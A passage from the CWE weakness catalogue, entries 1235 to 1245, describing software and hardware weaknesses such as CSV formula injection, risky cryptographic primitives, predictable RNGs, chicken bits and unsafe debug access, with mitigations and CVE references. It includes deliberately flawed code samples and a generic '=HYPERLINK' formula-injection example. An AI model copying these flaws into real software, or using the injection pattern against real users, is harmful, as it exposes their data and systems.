If either the scan_mode or the debug_unlocked modes can be triggered by software, then the lock protection may be bypassed.

Example Language:

(good)

Either remove the debug and scan mode overrides or protect enabling of these modes so that only trusted and authorized users may enable these modes.

CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations

| | |
|---------------------------|---------------------------|
| Weakness ID : 1235 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.

Extended Description

Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.

However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------------------|------|
| ChildOf |  | 400 | Uncontrolled Resource Consumption | 889 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1006 | Bad Coding Practices | 2138 |

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) Reduce Performance <i>Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.</i> | Low |

Potential Mitigations

Phase: Implementation

Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters. Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.

Demonstrative Examples

Example 1:

Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.

Example Language: Java

(bad)

```
Long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.

Example 2:

This code uses primitive long which fixes the issue.

Example Language: Java

(good)

```
long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Weakness ID : 1236

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by spreadsheet software.

Extended Description

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulas, which are then executed by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Other (*Prevalence = Undetermined*)

Alternate Terms

CSV Injection :

Formula Injection :

Excel Macro Injection :

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data Execute Unauthorized Code or Commands <i>Current versions of Excel warn users of untrusted content.</i> | Low |

Potential Mitigations

Phase: Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

Effectiveness = Moderate

Unfortunately, there is no perfect solution, since different spreadsheet products act differently.

Phase: Implementation

If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

Effectiveness = Moderate

It is not clear how effective this mitigation is with other spreadsheet software.

Phase: Architecture and Design

Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.

Effectiveness = Limited

This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.

Demonstrative Examples

Example 1:

Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='

Example Language: Other

(attack)

```
=HYPERLINK(link_location, [friendly_name])
```

Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.

Example Language:

(good)

```
HYPERLINK(link_location, [friendly_name])
```

Observed Examples

| Reference | Description |
|-----------------------|--|

CWE-1239: Improper Zeroization of Hardware Register

Weakness ID : 1239

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.

Extended Description

Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Varies by Context <i>The consequences will depend on the information disclosed due to the vulnerability.</i> | |

Potential Mitigations

Phase: Architecture and Design

Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.

Demonstrative Examples

Example 1:

Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.

CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation

Weakness ID : 1240

Status: Draft

Structure : Simple

Abstraction : Base

Description

1820

To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation.

Extended Description

Cryptographic protocols and systems depend on cryptographic primitives (and associated algorithms) as their basic building blocks. Some common examples of primitives are digital signatures, one-way hash functions, ciphers, and public key cryptography; however, the notion of "primitive" can vary depending on point of view. See "Terminology Notes" for further explanation of some concepts.

Cryptographic primitives are defined to accomplish one very specific task in a precisely defined and mathematically reliable fashion. For example, suppose that for a specific cryptographic primitive (such as an encryption routine), the consensus is that the primitive can only be broken after trying out N different inputs (where the larger the value of N, the stronger the cryptography). For an encryption scheme like AES-256, one would expect N to be so large as to be infeasible to execute in a reasonable amount of time.

If a vulnerability is ever found that shows that one can break a cryptographic primitive in significantly less than the expected number of attempts, then that primitive is considered weakened (or sometimes in extreme cases, colloquially it is "broken"). As a result, anything using this cryptographic primitive would now be considered insecure or risky. Thus, even breaking or weakening a seemingly small cryptographic primitive has the potential to render the whole system vulnerable, due to its reliance on the primitive. A historical example can be found in TLS when using DES. One would colloquially call DES the cryptographic primitive for transport encryption in this version of TLS. In the past, DES was considered strong, because no weaknesses were found in it; importantly, DES has a key length of 56 bits. Trying $N=2^{56}$ keys was considered impractical for most actors. Unfortunately, attacking a system with 56-bit keys is now practical via brute force, which makes defeating DES encryption practical. It is now practical for an adversary to read any information sent under this version of TLS and use this information to attack the system. As a result, it can be claimed that this use of TLS is weak, and that any system depending on TLS with DES could potentially render the entire system vulnerable to attack.

Cryptographic primitives and associated algorithms are only considered safe after extensive research and review from experienced cryptographers from academia, industry, and government entities looking for any possible flaws. Furthermore, cryptographic primitives and associated algorithms are frequently reevaluated for safety when new mathematical and attack techniques are discovered. As a result and over time, even well-known cryptographic primitives can lose their compliance status with the discovery of novel attacks that might either defeat the algorithm or reduce its robustness significantly.

If ad-hoc cryptographic primitives are implemented, it is almost certain that the implementation will be vulnerable to attacks that are well understood by cryptographers, resulting in the exposure of sensitive information and other consequences.

This weakness is even more difficult to manage for hardware-implemented deployment of cryptographic algorithms. First, because hardware is not patchable as easily as software, any flaw discovered after release and production typically cannot be fixed without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Confidentiality | Read Application Data <i>Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case.</i> | High |

Detection Methods

Architecture or Design Review

Review requirements, documentation, and product design to ensure that primitives are consistent with the strongest-available recommendations from trusted parties. If the product appears to be using custom or proprietary implementations that have not had sufficient public review and approval, then this is a significant concern.

Effectiveness = High

Manual Analysis

Analyze the product to ensure that implementations for each primitive do not contain any known vulnerabilities and are not using any known-weak algorithms, including MD4, MD5, SHA1, DES, etc.

Effectiveness = Moderate

Dynamic Analysis with Manual Results Interpretation

For hardware, during the implementation (pre-Silicon / post-Silicon) phase, dynamic tests should be done to ensure that outputs from cryptographic routines are indeed working properly, such as test vectors provided by NIST [REF-1236].

Effectiveness = Moderate

Dynamic Analysis with Manual Results Interpretation

It needs to be determined if the output of a cryptographic primitive is lacking entropy, which is one clear sign that something went wrong with the crypto implementation. There exist many methods of measuring the entropy of a bytestream, from sophisticated ones (like calculating Shannon's entropy of a sequence of characters) to crude ones (by compressing it and comparing the size of the original bytestream vs. the compressed - a truly random byte stream should not

be compressible and hence the uncompressed and compressed bytestreams should be nearly identical in size).

Effectiveness = Moderate

Potential Mitigations

Phase: Requirements

Require compliance with the strongest-available recommendations from trusted parties, and require that compliance must be kept up-to-date, since recommendations evolve over time. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].

Effectiveness = High

Phase: Architecture and Design

Ensure that the architecture/design uses the strongest-available primitives and algorithms from trusted parties. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].

Effectiveness = High

Phase: Architecture and Design

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. As with all cryptographic mechanisms, the source code should be available for analysis. If the algorithm may be compromised when attackers find out how it works, then it is especially weak.

Effectiveness = Discouraged Common Practice

Phase: Architecture and Design

Try not to use cryptographic algorithms in novel ways or with new modes of operation even when you "know" it is secure. For example, using SHA-2 chaining to create a 1-time pad for encryption might sound like a good idea, but one should not do this.

Effectiveness = Discouraged Common Practice

Phase: Architecture and Design

Ensure that the design can replace one cryptographic primitive or algorithm with another in the next generation ("cryptographic agility"). Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. This is especially important for hardware, which can be more difficult to upgrade quickly than software; design the hardware at a replaceable block level.

Effectiveness = Defense in Depth

Phase: Architecture and Design

Do not use outdated or non-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong [REF-267].

Effectiveness = Discouraged Common Practice

Phase: Architecture and Design

Phase: Implementation

Do not use a linear-feedback shift register (LFSR) or other legacy methods as a substitute for an accepted and standard Random Number Generator.

Effectiveness = Discouraged Common Practice

Phase: Architecture and Design

Phase: Implementation

Do not use a checksum as a substitute for a cryptographically generated hash.

Effectiveness = Discouraged Common Practice

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted cryptographic library or framework. Industry-standard implementations will save development time and are more likely to avoid errors that can occur during implementation of cryptographic algorithms. However, the library/framework could be used incorrectly during implementation.

Effectiveness = High

Phase: Architecture and Design

Phase: Implementation

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for the prevention of common attacks.

Effectiveness = Moderate

Phase: Architecture and Design

Phase: Implementation

Do not store keys in areas accessible to untrusted agents. Carefully manage and protect the cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography algorithm is irrelevant.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

Re-using random values may compromise security.

Example Language: (bad)

Suppose an Encryption algorithm needs a random value for a key. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a linear-feedback shift register (LFSR) to generate the value.

While an LFSR may provide pseudo-random number generation service, the entropy (measure of randomness) of the resulting output may be less than that of an accepted DRNG (like that used in dev/urandom). Thus, using an LFSR weakens the strength of the cryptographic system, because it may be possible for an attacker to guess the LFSR output and subsequently the encryption key.

Example Language: (good)

If a cryptographic algorithm expects a random number as its input, provide one. Do not provide a pseudo-random value.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2020-4778 | software uses MD5, which is less safe than the default SHA-256 used by related products https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4778 |
| CVE-2005-2946 | Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2946 |
| CVE-2019-3907 | identity card uses MD5 hash of a salt and password |

| Reference | Description |
|-----------------------|--|
| CVE-2021-34687 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3907 personal key is transmitted over the network using a substitution cipher https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34687 |
| CVE-2020-14254 | product does not disable TLS-RSA cipher suites, allowing decryption of traffic if TLS 2.0 and secure ciphers are not enabled. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14254 |
| CVE-2019-1543 | SSL/TLS library generates 16-byte nonces but reduces them to 12 byte nonces for the ChaCha20-Poly1305 cipher, converting them in a way that violates the cipher's requirements for unique nonces. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1543 |
| CVE-2017-9267 | LDAP interface allows use of weak ciphers https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9267 |
| CVE-2017-7971 | SCADA product allows "use of outdated cipher suites" https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7971 |
| CVE-2020-6616 | Chip implementing Bluetooth uses a low-entropy PRNG instead of a hardware RNG, allowing spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6616 |
| CVE-2019-1715 | security product has insufficient entropy in the DRBG, allowing collisions and private key discovery https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1715 |
| CVE-2014-4192 | Dual_EC_DRBG implementation in RSA toolkit does not correctly handle certain byte requests, simplifying plaintext recovery https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4192 |
| CVE-2007-6755 | Recommendation for Dual_EC_DRBG algorithm contains point Q constants that could simplify decryption https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6755 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Terminology

Terminology for cryptography varies widely, from informal and colloquial to mathematically-defined, with different precision and formalism depending on whether the stakeholder is a developer, cryptologist, etc. Yet there is a need for CWE to be self-consistent while remaining understandable and acceptable to multiple audiences. As of CWE 4.6, CWE terminology around "primitives" and "algorithms" is emerging as shown by the following example, subject to future consultation and agreement within the CWE and cryptography communities. Suppose one wishes to send encrypted data using a CLI tool such as OpenSSL. One might choose to use AES with a 256-bit key and require tamper protection (GCM mode, for instance). For compatibility's sake, one might also choose the ciphertext to be formatted to the PKCS#5 standard. In this case, the "cryptographic system" would be AES-256-GCM with PKCS#5 formatting. The "cryptographic function" would be AES-256 in the GCM mode of operation, and the "algorithm" would be AES. Colloquially, one would say that AES (and sometimes AES-256) is the "cryptographic primitive," because it is the algorithm that realizes the concept of symmetric encryption (without modes of operation or other protocol related modifications). In practice,

developers and architects typically refer to base cryptographic algorithms (AES, SHA, etc.) as cryptographic primitives.

Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

CWE-1241: Use of Predictable Algorithm in Random Number Generator

Weakness ID : 1241

Status: Draft

Structure : Simple

Abstraction : Base

Description

The device uses an algorithm that is predictable and generates a pseudo-random number.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------------------|------|
| ChildOf |  | 330 | Use of Insufficiently Random Values | 748 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1213 | Random Number Issues | 2193 |

Applicable Platforms

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | High |

Potential Mitigations

Phase: Architecture and Design

A true random number generator should be specified for cryptographic algorithms.

Phase: Implementation

A true random number generator should be implemented for cryptographic algorithms.

Demonstrative Examples

Example 1:

Suppose a cryptographic function expects random value to be supplied for the crypto algorithm.

During the implementation phase, due to space constraint, a cryptographically secure random-number-generator could not be used, and instead of using a TRNG (True Random Number Generator), a LFSR (Linear Feedback Shift Register) is used to generate a random value. While an LFSR will provide a pseudo-random number, its entropy (measure of randomness) is insufficient for a cryptographic algorithm.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 1205 | Security Primitives and Cryptography Issues | 1194 | 2189 |

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-1242: Inclusion of Undocumented Features or Chicken Bits

| | |
|---------------------------|---------------------------|
| Weakness ID : 1242 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.

Extended Description

A common design practice is to use undocumented bits on a device that can be used to disable certain functional security features. These bits are commonly referred to as "chicken bits". They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Availability | Execute Unauthorized Code or Commands | |
| Access Control | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

The implementation of chicken bits in a released product is highly discouraged. If implemented at all, ensure that they are disabled in production devices. All interfaces to a device should be documented.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.

Example Language: Other

(bad)

Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug

| | |
|---------------------------|---------------------------|
| Weakness ID : 1243 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Access to security-sensitive information stored in fuses is not limited during debug.

Extended Description

Several security-sensitive values are programmed into fuses to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug operations, allowing a user to access this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|----------------------------------|------|
| ChildOf |  | 1263 | Improper Physical Access Control | 1874 |
| PeerOf |  | 1263 | Improper Physical Access Control | 1874 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Modify Memory | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Disable access to security-sensitive information stored in fuses directly and also reflected from temporary storage locations when in debug mode.

Demonstrative Examples

Example 1:

Sensitive manufacturing data (such as die information) are stored in fuses. When the chip powers on, these values are read from the fuses and stored in microarchitectural registers. These registers are only given read access to trusted software running on the core. Untrusted software running on the core is not allowed to access these registers.

Example Language: Other

(bad)

All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and retrieve sensitive manufacturing data.

Example Language:

(informative)

Registers used to store sensitive values read from fuses should be blocked during debug. These registers should be disconnected from the debug interface.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State

Weakness ID : 1244

Status: Stable

Structure : Simple

Abstraction : Base

Description

The product uses physical debug or test interfaces with support for multiple access levels, but it assigns the wrong debug access level to an internal asset, providing unintended access to the asset from untrusted debug agents.

Extended Description

Debug authorization can have multiple levels of access, defined such that different system internal assets are accessible based on the current authorized debug level. Other than debugger authentication (e.g., using passwords or challenges), the authorization can also be based on the system state or boot stage. For example, full system debug access might only be allowed early in boot after a system reset to ensure that previous session data is not accessible to the authenticated debugger.

If this protection mechanism does not ensure that internal assets have the correct debug access level during each boot stage or change in system state, an attacker could obtain sensitive information from the internal asset using a debugger.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------|------|
| ChildOf |  | 863 | Incorrect Authorization | 1621 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------------|------------|
| Confidentiality | Read Memory | |
| Integrity | Modify Memory | |
| Authorization | Gain Privileges or Assume Identity | |
| Access Control | Bypass Protection Mechanism | |

Detection Methods

Manual Analysis

Check 2 devices for their passcode to authenticate access to JTAG/debugging ports. If the passcodes are missing or the same, update the design to fix and retest. Check communications over JTAG/debugging ports for encryption. If the communications are not encrypted, fix the design and retest.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.

Effectiveness = High

Phase: Architecture and Design

Apply blinding [REF-1219] or masking techniques in strategic areas.

Effectiveness = Limited

Phase: Implementation

Add shielding or tamper-resistant protections to the device, which increases the difficulty and cost for accessing debug/test interfaces.

Effectiveness = Limited

Demonstrative Examples

Example 1:

The JTAG interface is used to perform debugging and provide CPU core access for developers. JTAG-access protection is implemented as part of the JTAG_SHIELD bit in the hw_digctl_ctrl register. This register has no default value at power up and is set only after the system boots from ROM and control is transferred to the user software.

Example Language: Other (bad)

This means that since the end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software, a JTAG user can modify the boot flow and subsequently disclose all CPU information, including data-encryption keys.

Example Language: (informative)

The default value of this register bit should be set to 1 to prevent the JTAG from being enabled at system reset.

Observed Examples

| Reference | Description |
|----------------|---|
| CVE-2019-18827 | After ROM code execution, JTAG access is disabled. But before the ROM code is executed, JTAG access is possible, allowing a user full system access. This allows a user to modify the boot flow and successfully bypass the secure-boot process. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|
| MemberOf |  | 1207 | Debug and Test Problems | 1194 | 2190 |
| MemberOf |  | 1343 | Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List | 1343 | 2256 |

Notes

Relationship

CWE-1191 and CWE-1244 both involve physical debug access, but the weaknesses are different. CWE-1191 is effectively about missing authorization for a debug interface, i.e. JTAG. CWE-1244 is about providing internal assets with the wrong debug access level, exposing the asset to untrusted debug agents.

CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic

| | |
|---------------------------|----------------------------|
| Weakness ID : 1245 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.

Extended Description

The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 684 | Incorrect Provision of Specified Functionality | 1371 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)
